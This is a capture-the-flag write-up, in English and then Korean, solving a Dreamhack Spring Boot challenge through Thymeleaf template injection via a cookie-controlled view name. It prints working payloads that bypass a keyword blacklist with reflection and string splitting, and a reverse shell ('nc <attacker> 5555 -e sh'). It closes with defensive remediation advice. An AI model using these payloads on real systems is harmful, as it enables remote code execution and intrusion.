Dreamhack: spring-view

Dreamhack: spring-view

in

Where the Bug Lives

Decompiling app.jar (Spring Boot 2.2 + Thymeleaf) shows a controller that builds its view name from a cookie:

@GetMapping({"/welcome"})
public String welcome(@CookieValue(value = "lang", defaultValue = "en") String lang) {
    return lang + "/welcome";     // view name is attacker-controlled
}

Returning a String from a Spring controller names a template to render. When part of that name is user input, Thymeleaf’s expression parser can be coaxed into evaluating it. This is the classic Thymeleaf fragment-expression SSTI, triggered with the __${ ... }__::fragment form.

A filter tries to keep things safe:

final String[] DANGEROUS_STRINGS = {"Runtime", "java", "class"};
// preHandle() 403s if the query string OR any cookie contains one of these

So our payload cannot contain the literal strings Runtime, java, or class.

Confirming SSTI

The fragment-expression syntax __${expr}__::.x evaluates expr. Let’s try a quick arithmetic probe. The resolved template name shows up in the error message:

curl http://host/welcome -b 'lang=__${7*7}__::.x'
# ... Error resolving template [49] ...

49 proves 7*7 was evaluated server-side. Now we escalate to code execution.

Bypassing the Blacklist

Reaching Runtime normally reads T(java.lang.Runtime), but java, Runtime, and class are all banned. Two tricks get around it:

  • Split the strings so no banned substring appears literally: 'ja'+'va.lang.Runt'+'ime'.
  • Get a Class object without the word class: (1).TYPE is Integer.TYPE, i.e. int.class, giving us a Class to call forName on.

Chaining forName(...).getMethod('getRu'+'ntime').invoke(null) yields the Runtime singleton, and .exec(...) runs a command:

__${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime').getMethod('getRu'+'ntime').invoke(null).exec("id")}__::.x

None of java / Runtime / class appear as literals, so the filter waves it through.

RCE and Flag

/bin/ash in the image has no $()//dev/tcp, so instead of a shell one-liner we spawn a reverse shell with nc -e and read the flag interactively:

__${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime').getMethod('getRu'+'ntime').invoke(null).exec("nc <attacker> 5555 -e sh")}__::.x

URL-encode it into the lang cookie against /welcome, with a listener ready:

❯ nc -nlvp 5555
listening on [any] 5555 ...
connect to ... 39643
cat flag.txt
DH{REDACTED}

Takeaways

Never let user input flow into a Spring view name. A returned String is a template selector, and Thymeleaf will happily parse an injected fragment expression as code. The blacklist here was doomed twice over: string concatenation defeats substring filters ('ja'+'va...'), and Java’s reflection surface offers many roads to the same class ((1).TYPE sidesteps the word class entirely). Fix the root cause (resolve view names from a fixed allowlist) rather than blacklisting the infinite ways to spell Runtime.


취약점 위치

app.jar(Spring Boot 2.2 + Thymeleaf)를 디컴파일하면, 뷰 이름을 쿠키로 만드는 컨트롤러가 보입니다.

@GetMapping({"/welcome"})
public String welcome(@CookieValue(value = "lang", defaultValue = "en") String lang) {
    return lang + "/welcome";     // 뷰 이름이 공격자 제어
}

Spring 컨트롤러가 String을 반환하면 렌더링할 템플릿 이름이 됩니다. 그 이름 일부가 사용자 입력이면, Thymeleaf 표현식 파서가 그것을 평가하도록 유도할 수 있습니다. 바로 __${ ... }__::fragment 형태로 트리거되는 고전적인 Thymeleaf 프래그먼트 표현식 SSTI죠.

필터가 안전을 지키려 시도합니다.

final String[] DANGEROUS_STRINGS = {"Runtime", "java", "class"};
// preHandle()은 쿼리스트링이나 쿠키에 이 중 하나가 있으면 403

즉 페이로드에 Runtime, java, class 리터럴 문자열이 들어가면 안 됩니다.

SSTI 확인

프래그먼트 표현식 문법 __${expr}__::.x는 expr을 평가합니다. 간단한 산술로 탐침해 봅니다. 해석된 템플릿 이름이 오류 메시지에 드러나거든요.

curl http://host/welcome -b 'lang=__${7*7}__::.x'
# ... Error resolving template [49] ...

49는 7*7이 서버에서 평가됐음을 증명합니다. 이제 코드 실행으로 확장합니다.

블랙리스트 우회

보통 Runtime에 닿으려면 T(java.lang.Runtime)을 쓰지만 java, Runtime, class가 모두 금지입니다. 두 가지 트릭으로 우회합니다.

  • 문자열을 쪼개 금지 부분문자열이 리터럴로 안 나오게: 'ja'+'va.lang.Runt'+'ime'.
  • class라는 단어 없이 Class 객체 얻기: (1).TYPE은 Integer.TYPE, 즉 int.class라서 forName을 호출할 Class를 줍니다.

forName(...).getMethod('getRu'+'ntime').invoke(null)을 체이닝하면 Runtime 싱글턴이 나오고, .exec(...)로 명령을 실행합니다.

__${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime').getMethod('getRu'+'ntime').invoke(null).exec("id")}__::.x

java / Runtime / class 어느 것도 리터럴로 나오지 않으니 필터를 통과합니다.

RCE와 플래그

이미지의 /bin/ash에는 $()//dev/tcp가 없어서, 쉘 원라이너 대신 nc -e로 리버스 셸을 띄워 대화형으로 플래그를 읽습니다.

__${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime').getMethod('getRu'+'ntime').invoke(null).exec("nc <attacker> 5555 -e sh")}__::.x

이걸 URL 인코딩해 /welcome의 lang 쿠키로 보내고 리스너를 대기시킵니다.

❯ nc -nlvp 5555
listening on [any] 5555 ...
connect to ... 39643
cat flag.txt
DH{REDACTED}

정리

사용자 입력이 Spring 뷰 이름으로 흘러가게 두지 마세요. 반환된 String은 템플릿 선택자이고, Thymeleaf는 주입된 프래그먼트 표현식을 기꺼이 코드로 파싱하거든요. 여기 블랙리스트는 두 번 실패할 운명이었습니다. 문자열 결합이 부분문자열 필터를 무너뜨리고('ja'+'va...'), Java 리플렉션은 같은 클래스로 가는 여러 길을 제공합니다((1).TYPE은 class라는 단어를 통째로 우회). Runtime을 적는 무한한 방법을 블랙리스트하는 대신, 근본 원인을 고치세요. 뷰 이름은 고정된 허용목록에서 해석하는 겁니다.